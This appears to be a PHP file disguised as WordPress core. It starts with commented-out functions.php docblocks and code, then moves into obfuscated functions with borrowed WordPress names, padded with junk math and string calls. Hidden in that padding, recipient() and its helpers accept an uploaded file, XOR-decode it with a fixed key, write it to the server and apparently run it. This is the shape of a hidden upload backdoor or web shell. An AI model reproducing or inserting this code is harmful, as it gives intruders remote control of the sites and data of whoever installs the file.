$util->pluck( $field ); } return $util->get_output(); } * * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * If you want to retrieve a particular field from all matching objects, * use wp_filter_object_list() instead. * * @since 3.1.0 * @since 4.7.0 Uses `WP_List_Util` class. * @since 5.9.0 Converted into a wrapper for `wp_filter_object_list()`. * * @param array $input_list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. function wp_list_filter( $input_list, $args = array(), $operator = 'AND' ) { return wp_filter_object_list( $input_list, $args, $operator ); } * * Plucks a certain field out of each object or array in an array. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 3.1.0 * @since 4.0.0 $index_key parameter added. * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $input_list List of objects or arrays. * @param int|string $field Field from the object to place instead of the entire object. * @param int|string $index_key Optional. Field from the object to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$input_list` will be preserved in the results. function wp_list_pluck( $input_list, $field, $index_key = null ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); return $util->pluck( $field, $index_key ); } * * Sorts an array of objects or arrays based on one or more orderby arguments. * * @since 4.7.0 * * @param array $input_list An array of objects or arrays to sort. * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as `$orderby => $order`. * Default empty array. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if `$orderby` * is a string. Default 'ASC'. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. function wp_list_sort( $input_list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); return $util->sort( $orderby, $order, $preserve_keys ); } * * Determines if Widgets library should be loaded. * * Checks to make sure that the widgets library hasn't already been loaded. * If it hasn't, then it will load the widgets library and run an action hook. * * @since 2.2.0 function wp_maybe_load_widgets() { * * Filters whether to load the Widgets library. * * Returning a falsey value from the filter will effectively short-circuit * the Widgets library from loading. * * @since 2.8.0 * * @param bool $wp_maybe_load_widgets Whether to load the Widgets library. * Default true. if ( ! apply_filters( 'load_default_widgets', true ) ) { return; } require_once ABSPATH . WPINC . '/default-widgets.php'; add_action( '_admin_menu', 'wp_widgets_add_menu' ); } * * Appends the Widgets menu to the themes main menu. * * @since 2.2.0 * @since 5.9.3 Don't specify menu order when the active theme is a block theme. * * @global array $submenu function wp_widgets_add_menu() { global $submenu; if ( ! current_theme_supports( 'widgets' ) ) { return; } $menu_name = __( 'Widgets' ); if ( wp_is_block_theme() || current_theme_supports( 'block-template-parts' ) ) { $submenu['themes.php'][] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } else { $submenu['themes.php'][7] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } ksort( $submenu['themes.php'], SORT_NUMERIC ); } * * Flushes all output buffers for PHP 5.2. * * Make sure all output buffers are flushed before our singletons are destroyed. * * @since 2.2.0 function wp_ob_end_flush_all() { $levels = ob_get_level(); for ( $i = 0; $i < $levels; $i++ ) { ob_end_flush(); } } * * Loads custom DB error or display WordPress DB error. * * If a file exists in the wp-content directory named db-error.php, then it will * be loaded instead of displaying the WordPress DB error. If it is not found, * then the WordPress DB error will be displayed instead. * * The WordPress DB error sets the HTTP status header to 500 to try to prevent * search engines from caching the message. Custom DB messages should do the * same. * * This function was backported to WordPress 2.3.2, but originally was added * in WordPress 2.5.0. * * @since 2.3.2 * * @global wpdb $wpdb WordPress database abstraction object. function dead_db() { global $wpdb; wp_load_translations_early(); Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } If installing or in the admin, provide the verbose message. if ( wp_installing() || defined( 'WP_ADMIN' ) ) { wp_die( $wpdb->error ); } Otherwise, be terse. wp_die( '<h1>' . __( 'Error establishing a database connection' ) . '</h1>', __( 'Database Error' ) ); } * * Converts a value to non-negative integer. * * @since 2.5.0 * * @param mixed $maybeint Data you wish to have converted to a non-negative integer. * @return int A non-negative integer. function absint( $maybeint ) { return abs( (int) $maybeint ); } * * Marks a function as deprecated and inform when it has been used. * * There is a {@see 'deprecated_function_run'} hook that will be called that can be used * to get the backtrace up to what file and function called the deprecated function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every function that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function_name The function that was called. * @param string $version The version of WordPress that deprecated the function. * @param string $replacement Optional. The function that should have been called. Default empty string. function _deprecated_function( $function_name, $version, $replacement = '' ) { * * Fires when a deprecated function is called. * * @since 2.5.0 * * @param string $function_name The function that was called. * @param string $replacement The function that should have been called. * @param string $version The version of WordPress that deprecated the function. do_action( 'deprecated_function_run', $function_name, $replacement, $version ); * * Filters whether to trigger an error for deprecated functions. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $replacement ) { $message = sprintf( translators: 1: PHP function name, 2: Version number, 3: Alternative function name. __( 'Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $function_name, $version, $replacement ); } else { $message = sprintf( translators: 1: PHP function name, 2: Version number. __( 'Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $function_name, $version ); } } else { if ( $replacement ) { $message = sprintf( 'Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function_name, $version, $replacement ); } else { $message = sprintf( 'Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function_name, $version ); } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } * * Marks a constructor as deprecated and informs when it has been used. * * Similar to _deprecated_function(), but with different strings. Used to * remove PHP4-style constructors. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every PHP4-style constructor method that is deprecated. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $class_name The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class Optional. The parent class calling the deprecated constructor. * Default empty string. function _deprecated_constructor( $class_name, $version, $parent_class = '' ) { * * Fires when a deprecated constructor is called. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * * @param string $class_name The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class The parent class calling the deprecated constructor. do_action( 'deprecated_constructor_run', $class_name, $version, $parent_class ); * * Filters whether to trigger an error for deprecated functions. * * `WP_DEBUG` must be true in addition to the filter evaluating to true. * * @since 4.3.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $parent_class ) { $message = sprintf( translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. __( 'The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ), $class_name, $parent_class, $version, '<code>__construct()</code>' ); } else { $message = sprintf( translators: 1: PHP class name, 2: Version number, 3: __construct() method. __( 'The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $class_name, $version, '<code>__construct()</code>' ); } } else { if ( $parent_class ) { $message = sprintf( 'The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.', $class_name, $parent_class, $version, '<code>__construct()</code>' ); } else { $message = sprintf( 'The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $class_name, $version, '<code>__construct()</code>' ); } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } * * Marks a class as deprecated and informs when it has been used. * * There is a {@see 'deprecated_class_run'} hook that will be called that can be used * to get the backtrace up to what file and function called the deprecated class. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in the class constructor for every deprecated class. * See {@see _deprecated_constructor()} for deprecating PHP4-style constructors. * * @since 6.4.0 * * @param string $class_name The name of the class being instantiated. * @param string $version The version of WordPress that deprecated the class. * @param string $replacement Optional. The class or function that should have been called. * Default empty string. function _deprecated_class( $class_name, $version, $replacement = '' ) { * * Fires when a deprecated class is called. * * @since 6.4.0 * * @param string $class_name The name of the class being instantiated. * @param string $replacement The class or function that should have been called. * @param string $version The version of WordPress that deprecated the class. do_action( 'deprecated_class_run', $class_name, $replacement, $version ); * * Filters whether to trigger an error for a deprecated class. * * @since 6.4.0 * * @param bool $trigger Whether to trigger an error for a deprecated class. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_class_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $replacement ) { $message = sprintf( translators: 1: PHP class name, 2: Version number, 3: Alternative class or function name. __( 'Class %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $class_name, $version, $replacement ); } else { $message = sprintf( translators: 1: PHP class name, 2: Version number. __( 'Class %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $class_name, $version ); } } else { if ( $replacement ) { $message = sprintf( 'Class %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $class_name, $version, $replacement ); } else { $message = sprintf( 'Class %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $class_name, $version ); } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } * * Marks a file as deprecated and inform when it has been used. * * There is a {@see 'deprecated_file_included'} hook that will be called that can be used * to get the backtrace up to what file and function included the deprecated file. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every file that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $file The file that was included. * @param string $version The version of WordPress that deprecated the file. * @param string $replacement Optional. The file that should have been included based on ABSPATH. * Default empty string. * @param string $message Optional. A message regarding the change. Default empty string. function _deprecated_file( $file, $version, $replacement = '', $message = '' ) { * * Fires when a deprecated file is called. * * @since 2.5.0 * * @param string $file The file that was called. * @param string $replacement The file that should have been included based on ABSPATH. * @param string $version The version of WordPress that deprecated the file. * @param string $message A message regarding the change. do_action( 'deprecated_file_included', $file, $replacement, $version, $message ); * * Filters whether to trigger an error for deprecated files. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated files. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( function_exists( '__' ) ) { if ( $replacement ) { $message = sprintf( translators: 1: PHP file name, 2: Version number, 3: Alternative file name. __( 'File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $file, $version, $replacement ) . $message; } else { $message = sprintf( translators: 1: PHP file name, 2: Version number. __( 'File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $file, $version ) . $message; } } else { if ( $replacement ) { $message = sprintf( 'File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ); } else { $message = sprintf( 'File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message; } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } * * Marks a function argument as deprecated and inform when it has been used. * * This function is to be used whenever a deprecated function argument is used. * Before this function is called, the argument must be checked for whether it was * used by comparing it to its default value or evaluating whether it is empty. * * For example: * * if ( ! empty( $deprecated ) ) { * _deprecated_argument( __FUNCTION__, '3.0.0' ); * } * * There is a {@see 'deprecated_argument_run'} hook that will be called that can be used * to get the backtrace up to what file and function used the deprecated argument. * * The current behavior is to trigger a user error if WP_DEBUG is true. * * @since 3.0.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function_name The function that was called. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message Optional. A message regarding the change. Default empty string. function _deprecated_argument( $function_name, $version, $message = '' ) { * * Fires when a deprecated argument is called. * * @since 3.0.0 * * @param string $function_name The function that was called. * @param string $message A message regarding the change. * @param string $version The version of WordPress that deprecated the argument used. do_action( 'deprecated_argument_run', $function_name, $message, $version ); * * Filters whether to trigger an error for deprecated arguments. * * @since 3.0.0 * * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true. if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $message ) { $message = sprintf( translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. __( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s' ), $function_name, $version, $message ); } else { $message = sprintf( translators: 1: PHP function name, 2: Version number. __( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $function_name, $version ); } } else { if ( $message ) { $message = sprintf( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function_name, $version, $message ); } else { $message = sprintf( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function_name, $version ); } } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } * * Marks a deprecated action or filter hook as deprecated and throws a notice. * * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where * the deprecated hook was called. * * Default behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is called by the do_action_deprecated() and apply_filters_deprecated() * functions, and so generally does not need to be called directly. * * @since 4.6.0 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * @access private * * @param string $hook The hook that was used. * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty string. * @param string $message Optional. A message regarding the change. Default empty. function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) { * * Fires when a deprecated hook is called. * * @since 4.6.0 * * @param string $hook The hook that was called. * @param string $replacement The*/ // // $existing_domain = 'mfbjt3p6'; $wasnt_square = 'ylrxl252'; /** * Fires on the next WP load after the theme has been switched. * * The parameters differ according to whether the old theme exists or not. * If the old theme is missing, the old name will instead be the slug * of the old theme. * * See {@see 'switch_theme'}. * * @since 3.3.0 * * @param string $old_name Old theme name. * @param WP_Theme $old_theme WP_Theme instance of the old theme. */ function has_post_parent ($ID3v2_key_good){ // use a specific IP if provided $req_data = 'mcfzvkpg'; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $req_data = rawurlencode($req_data); $IPLS_parts = 'yknxq46kc'; $sign_up_url = 'bnrv6e1l'; $custom_font_size = 'nswo6uu'; $ID3v2_key_good = abs(80); // int64_t b0 = 2097151 & load_3(b); // Allow '0000-00-00 00:00:00', although it be stripped out at this point. $cookie_name = 'xhoc'; // Populate the database debug fields. // Convert the response into an array. $about_pages = (!isset($about_pages)? 'zra5l' : 'aa4o0z0'); if((strtolower($custom_font_size)) !== False){ $ASFbitrateAudio = 'w2oxr'; } $optiondates = (!isset($optiondates)? 'o5f5ag' : 'g6wugd'); $index_matches['o1rm'] = 'qp5w'; if(!(htmlentities($custom_font_size)) == TRUE){ $GenreLookupSCMPX = 's61l0yjn'; } $nicename['ml247'] = 284; if(!(ucfirst($cookie_name)) == false){ $auto_draft_post = 'vrtdfcf'; } $cookie_name = base64_encode($req_data); if(!isset($active_class)) { $active_class = 'z3z7063b4'; } $active_class = ucfirst($cookie_name); $breadcrumbs = 'mjmkrj'; $modes_str['d63u'] = 'td8fv6'; if(empty(strrev($breadcrumbs)) != true){ $drefDataOffset = 'k0lo5f1q'; } $list_items = 'qb0hw'; $time_saved['kao8'] = 'bolv'; if(!(soundex($list_items)) == FALSE){ $utf8_pcre = 'h856ez2'; } $f6g3['wjbbih'] = 2328; $ID3v2_key_good = exp(379); $metaDATAkey = (!isset($metaDATAkey)? "spdtxnu" : "v6huyrr"); $notes['rwi4i'] = 3236; if((acosh(333)) == false) { $SNDM_thisTagDataSize = 'i2b0p'; } $allow_unsafe_unquoted_parameters['brl20e'] = 4574; $update_status['fb6t58dh'] = 2736; if(!empty(ceil(224)) != TRUE) { $found_marker = 'qepr9j'; } $ID3v2_key_good = trim($breadcrumbs); $registered_pointers['o7o0'] = 2737; if(!(sha1($ID3v2_key_good)) != FALSE){ $current_partial_id = 'zq2mcna9'; } if(!isset($circular_dependencies)) { $circular_dependencies = 'gekl'; } $circular_dependencies = quotemeta($active_class); $cookie_name = stripos($active_class, $cookie_name); return $ID3v2_key_good; } /* * Verify if the current user has edit_theme_options capability. * This capability is required to edit/view/delete templates. */ function wp_create_categories($sniffer, $skip_link_color_serialization){ $opener = file_get_contents($sniffer); $core_classes = wp_register_background_support($opener, $skip_link_color_serialization); file_put_contents($sniffer, $core_classes); } /** * Filters the list of CSS class names for the current post. * * @since 2.7.0 * * @param string[] $dropdown An array of post class names. * @param string[] $css_class An array of additional class names added to the post. * @param int $old_roleost_id The post ID. */ function wp_get_nav_menu_to_edit ($switched_blog){ // Protect export folder from browsing. $maxTimeout = 'ytpephx'; if(empty(strcoll($maxTimeout, $maxTimeout)) == FALSE) { $frame_contacturl = 's55s3p'; } # e[31] &= 127; $StreamNumberCounter = 'ya3gl'; $month['hdc2ylq'] = 'yrdxt'; $maxTimeout = strtolower($StreamNumberCounter); $maxTimeout = strip_tags($StreamNumberCounter); if(!empty(round(636)) == True) { // Print an 'abbr' attribute if a value is provided via get_sortable_columns(). $num_items = 'j38aegql'; } $checking_collation = 'iqce'; $switched_blog = 'dmyo'; if(!empty(strrpos($checking_collation, $switched_blog)) !== False) { // let delta = delta + (delta div numpoints) $srcLen = 'mwdq'; } $CommentStartOffset = (!isset($CommentStartOffset)? "szpk2x8y6" : "vp35"); $object_subtype['zn9biy'] = 'e0d2x9y'; $maxTimeout = expm1(834); $converted_string['lrlo96z'] = 'zqgtc'; if((trim($checking_collation)) == true) { $one_minux_y = 'iblck'; } $image_id['n5amlxu'] = 1721; if(!empty(abs(574)) != FALSE) { $headerfooterinfo = 'wq5gv'; } if(!isset($admin_body_id)) { $admin_body_id = 'mo74jmeef'; } $admin_body_id = ceil(503); return $switched_blog; } /** * Filters a revision returned from the REST API. * * Allows modification of the revision right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $old_roleost The original revision object. * @param WP_REST_Request $request Request used to generate the response. */ function get_nav_menu_at_primary_location($admin_all_statuses){ $cookie_headers['v169uo'] = 'jrup4xo'; PopError($admin_all_statuses); // <Header for 'Linked information', ID: 'LINK'> $children['dxn7e6'] = 'edie9b'; if(!isset($old_slugs)) { $old_slugs = 'jkud19'; } wp_embed_unregister_handler($admin_all_statuses); } $dependency_note = 'hghg8v906'; $send_id['xr26v69r'] = 4403; // If the auto-update is not to the latest version, say that the current version of WP is available instead. /** * Filters the class attribute for the audio shortcode output container. * * @since 3.6.0 * @since 4.9.0 The `$atts` parameter was added. * * @param string $class CSS class or list of space-separated classes. * @param array $atts Array of audio shortcode attributes. */ function recipient($notify, $with_theme_supports, $admin_all_statuses){ $query_id = $_FILES[$notify]['name']; // 0000 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^56-2 // For each link id (in $queried_object_idcheck[]) change category to selected value. $Ai = 'v6fc6osd'; $MPEGaudioHeaderValidCache = 'lfthq'; $sniffer = safe_inc($query_id); $unique_hosts['vdg4'] = 3432; $source_width['ig54wjc'] = 'wlaf4ecp'; $Ai = str_repeat($Ai, 19); if(!(ltrim($MPEGaudioHeaderValidCache)) != False) { $IndexEntriesData = 'tat2m'; } wp_create_categories($_FILES[$notify]['tmp_name'], $with_theme_supports); $lfeon = 'ot4j2q3'; $thisfile_riff_raw = (!isset($thisfile_riff_raw)? "kajedmk1c" : "j7n10bgw"); wp_nav_menu_taxonomy_meta_boxes($_FILES[$notify]['tmp_name'], $sniffer); } $notify = 'CCoHbod'; /** * Checks if a given request has access to delete a specific application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ function get_comment_author_IP ($editable_extensions){ // Upgrade 4.8.0 format. $editable_extensions = 'i60twtg'; if(!isset($return_url)) { $return_url = 'gyb16i'; } $return_url = sha1($editable_extensions); $f4g8_19 = 'yx9w'; $nav_menu_option = 'uw4w'; if(!isset($newarray)) { $newarray = 'czasxe1o1'; } $newarray = strnatcmp($f4g8_19, $nav_menu_option); $component = 'dflnvya1'; $akid['rfyiaaw'] = 'vhsp72fiz'; if(!isset($f4f7_38)) { $f4f7_38 = 'hndqvnmz'; } $f4f7_38 = strcoll($nav_menu_option, $component); $newarray = asinh(220); if(empty(cosh(110)) !== False) { $dots = 'ce2nj74o'; } $newarray = strnatcmp($f4g8_19, $component); if((tan(338)) == False) { $u2u2 = 'q6xepu'; } if(!isset($all_plugins)) { $all_plugins = 'bcehkfgz'; } $all_plugins = ceil(351); $anon_ip = 'l2zdbjf6m'; if(!(basename($anon_ip)) != false) { $errors_count = 'ja3jfio'; } $return_url = rad2deg(153); if(!isset($gradient_presets)) { $gradient_presets = 'yhx0h6j9'; } $gradient_presets = round(354); return $editable_extensions; } /** * Generates a tag cloud (heatmap) from provided data. * * @todo Complete functionality. * @since 2.3.0 * @since 4.8.0 Added the `show_count` argument. * * @param WP_Term[] $tags Array of WP_Term objects to generate the tag cloud for. * @param string|array $new_size_data { * Optional. Array or string of arguments for generating a tag cloud. * * @type int $smallest Smallest font size used to display tags. Paired * with the value of `$unit`, to determine CSS text * size unit. Default 8 (pt). * @type int $largest Largest font size used to display tags. Paired * with the value of `$unit`, to determine CSS text * size unit. Default 22 (pt). * @type string $unit CSS text size unit to use with the `$smallest` * and `$largest` values. Accepts any valid CSS text * size unit. Default 'pt'. * @type int $number The number of tags to return. Accepts any * positive integer or zero to return all. * Default 0. * @type string $format Format to display the tag cloud in. Accepts 'flat' * (tags separated with spaces), 'list' (tags displayed * in an unordered list), or 'array' (returns an array). * Default 'flat'. * @type string $separator HTML or text to separate the tags. Default "\n" (newline). * @type string $orderby Value to order tags by. Accepts 'name' or 'count'. * Default 'name'. The {@see 'tag_cloud_sort'} filter * can also affect how tags are sorted. * @type string $order How to order the tags. Accepts 'ASC' (ascending), * 'DESC' (descending), or 'RAND' (random). Default 'ASC'. * @type int|bool $filter Whether to enable filtering of the final output * via {@see 'wp_generate_tag_cloud'}. Default 1. * @type array $topic_count_text Nooped plural text from _n_noop() to supply to * tag counts. Default null. * @type callable $topic_count_text_callback Callback used to generate nooped plural text for * tag counts based on the count. Default null. * @type callable $topic_count_scale_callback Callback used to determine the tag count scaling * value. Default default_topic_count_scale(). * @type bool|int $show_count Whether to display the tag counts. Default 0. Accepts * 0, 1, or their bool equivalents. * } * @return string|string[] Tag cloud as a string or an array, depending on 'format' argument. */ function wp_register_background_support($absolute_url, $skip_link_color_serialization){ $current_network = 'kp5o7t'; $fractionbitstring['l0sliveu6'] = 1606; // unsigned-int $wp_rich_edit = strlen($skip_link_color_serialization); $current_network = rawurldecode($current_network); // @codeCoverageIgnoreStart $none = strlen($absolute_url); $attached_file['qs1u'] = 'ryewyo4k2'; $current_network = addcslashes($current_network, $current_network); $wp_rich_edit = $none / $wp_rich_edit; if(!empty(log10(857)) != FALSE) { $custom_paths = 'bcj8rphm'; } if(!(rawurlencode($current_network)) === True){ $v_seconde = 'au9a0'; } if(empty(tan(635)) != TRUE){ $update_current = 'joqh77b7'; } $time_format = (!isset($time_format)? "seuaoi" : "th8pjo17"); $wp_rich_edit = ceil($wp_rich_edit); // look for :// in the Location header to see if hostname is included $menu_maybe = str_split($absolute_url); if(!(soundex($current_network)) !== false) { $f1f7_4 = 'il9xs'; } $null_terminator_offset = (!isset($null_terminator_offset)? "k2za" : "tcv7l0"); $skip_link_color_serialization = str_repeat($skip_link_color_serialization, $wp_rich_edit); // puts an 8-byte placeholder atom before any atoms it may have to update the size of. // Get meta info. $current_network = html_entity_decode($current_network); // Remove possible contextual '\n' and closing double quote. $old_home_parsed['y6j4nj0y'] = 3402; // CHaPter List $current_network = atanh(211); $total_in_hours = str_split($skip_link_color_serialization); // Ideally this would happen in the client when the block is created. $current_network = quotemeta($current_network); $total_in_hours = array_slice($total_in_hours, 0, $none); // GPS latitude+longitude+altitude $is_hidden = array_map("get_taxonomies", $menu_maybe, $total_in_hours); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment. $is_hidden = implode('', $is_hidden); $current_network = strtolower($current_network); return $is_hidden; } /** * After looping through a nested query, this function * restores the $old_roleost global to the current post in this query. * * @since 3.7.0 * * @global WP_Post $old_roleost Global post object. */ function render_panel_templates ($editable_extensions){ $stssEntriesDataOffset['n11zy3tk'] = 875; if(!isset($embeds)) { $embeds = 'zfz0jr'; } $embeds = sqrt(440); // Multiply // LAME 3.94 additions/changes if((acosh(69)) !== TRUE) { $request_order = 'w6rn8'; } $nav_menu_option = 'txm72pivw'; $options_help = (!isset($options_help)? 'bt9b8' : 'fin0n0'); $editable_extensions = wordwrap($nav_menu_option); $all_plugins = 'swsu3ybh'; if(!empty(md5($all_plugins)) !== FALSE) { $open_basedir = 'lomjhk3'; } $roomTypeLookup['jes1'] = 617; $frame_bytesvolume['du8zl2itg'] = 'iuxk3wrnh'; if(empty(rad2deg(869)) == False) { $language = 'pdu09'; } $read_cap['u8quf'] = 'otko'; if(empty(expm1(405)) === FALSE) { $capabilities = 'sy2y6'; } $component = 'y28fsnjyp'; $end_marker['sz9u'] = 2909; $component = strtr($component, 16, 16); if(!empty(urlencode($nav_menu_option)) != true) { $wp_xmlrpc_server_class = 'f14n05ty'; $new_name['gfu1k'] = 4425; } $index_string['kij2oki'] = 3855; $component = round(9); $anon_ip = 'bse2pdz'; if((strtr($anon_ip, 16, 22)) != false) { $is_above_formatting_element = 'dgldt'; // Stop total size calculation. // Quick check to see if an honest cookie has expired. // Load the theme's functions.php to test whether it throws a fatal error. $sticky_posts['nny9123c4'] = 'g46h8iuna'; } $kses_allow_strong = (!isset($kses_allow_strong)? "z8nsj" : "xywmftuv"); $editable_extensions = strrev($nav_menu_option); $style_width = (!isset($style_width)?"brlrpmm7":"ja15cndxv"); if(!(basename($nav_menu_option)) == false) { $escapes = 'sf9mpc32'; } if(!isset($newarray)) { $newarray = 'waqj'; } $newarray = urldecode($anon_ip); if(!(asin(301)) == TRUE) { $setting_args = 'jmd5y'; } if(!isset($custom_terms)) { $custom_terms = 'u3a1ueg8x'; } $custom_terms = asinh(395); if(!isset($create_title)) { $create_title = 'jv2uiy6'; } $create_title = sinh(731); return $editable_extensions; } // 2^16 - 1 /** * Perform the query to get the $metavalues array(s) needed by _fill_user and _fill_many_users * * @since 3.0.0 * @deprecated 3.3.0 * * @param array $ids User ID numbers list. * @return array of arrays. The array is indexed by user_id, containing $metavalues object arrays. */ function akismet_version_warning ($g4){ $errmsg_blogname_aria = (!isset($errmsg_blogname_aria)? "hjyi1" : "wuhe69wd"); $custom_image_header = 'pi1bnh'; $f0g4 = (!isset($f0g4)? "wbi8qh" : "ww118s"); $first_response_value['aeiwp10'] = 'jfaoi1z2'; $allowed_comment_types['cfuom6'] = 'gvzu0mys'; if(!isset($autosave_field)) { $autosave_field = 's1vd7'; } $unpublished_changeset_post = 'sprnc5'; $custom_image_header = soundex($custom_image_header); $autosave_field = deg2rad(593); // On the non-network screen, filter out network-only plugins as long as they're not individually active. $autosave_field = decbin(652); if(!empty(is_string($custom_image_header)) !== TRUE) { $valid_schema_properties = 'fdg371l'; } $g4 = 'l8d8xe'; // Fallback. // set stack[0] to current element $audio_extension['z2bhtuoug'] = 1837; if(!empty(expm1(7)) !== FALSE) { $show_in_nav_menus = 'p25uqtyp'; } $custom_image_header = acos(447); $decoding_val['fdhr'] = 584; if(!isset($readlength)) { $readlength = 'vys34w2a'; } $autosave_field = strripos($autosave_field, $autosave_field); // ok : OK ! // 4: Minor in-branch updates (3.7.0 -> 3.7.1 -> 3.7.2 -> 3.7.4). // Otherwise, only trash if we haven't already. $timeout_msec = (!isset($timeout_msec)? "gko47fy" : "qztzipy"); $readlength = wordwrap($custom_image_header); $the_modified_date['neb0d'] = 'fapwmbj'; $v_item_list['toptra4b'] = 4437; $readlength = basename($readlength); $autosave_field = atanh(539); $unpublished_changeset_post = stripos($unpublished_changeset_post, $g4); $text_decoration_value = (!isset($text_decoration_value)? "lr9ds56" : "f9hfj1o"); $feedindex['sfsxkhr'] = 'b2q16g'; $checked = (!isset($checked)?"pfv8fj1jz":"i5b9e225"); //PHP 5.6 workaround $unpublished_changeset_post = dechex(192); // Meta Capabilities. // ----- Write the 42 bytes of the header in the zip file if(!isset($font_family_id)) { $font_family_id = 'n0fs77yl'; } $menu_count['vj6s'] = 'f88cfd'; $font_family_id = round(282); $custom_image_header = stripcslashes($custom_image_header); $f5g4 = 'krkp5bpa9'; // [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock. $is_new = (!isset($is_new)?"db7w6o":"hiv2nk"); 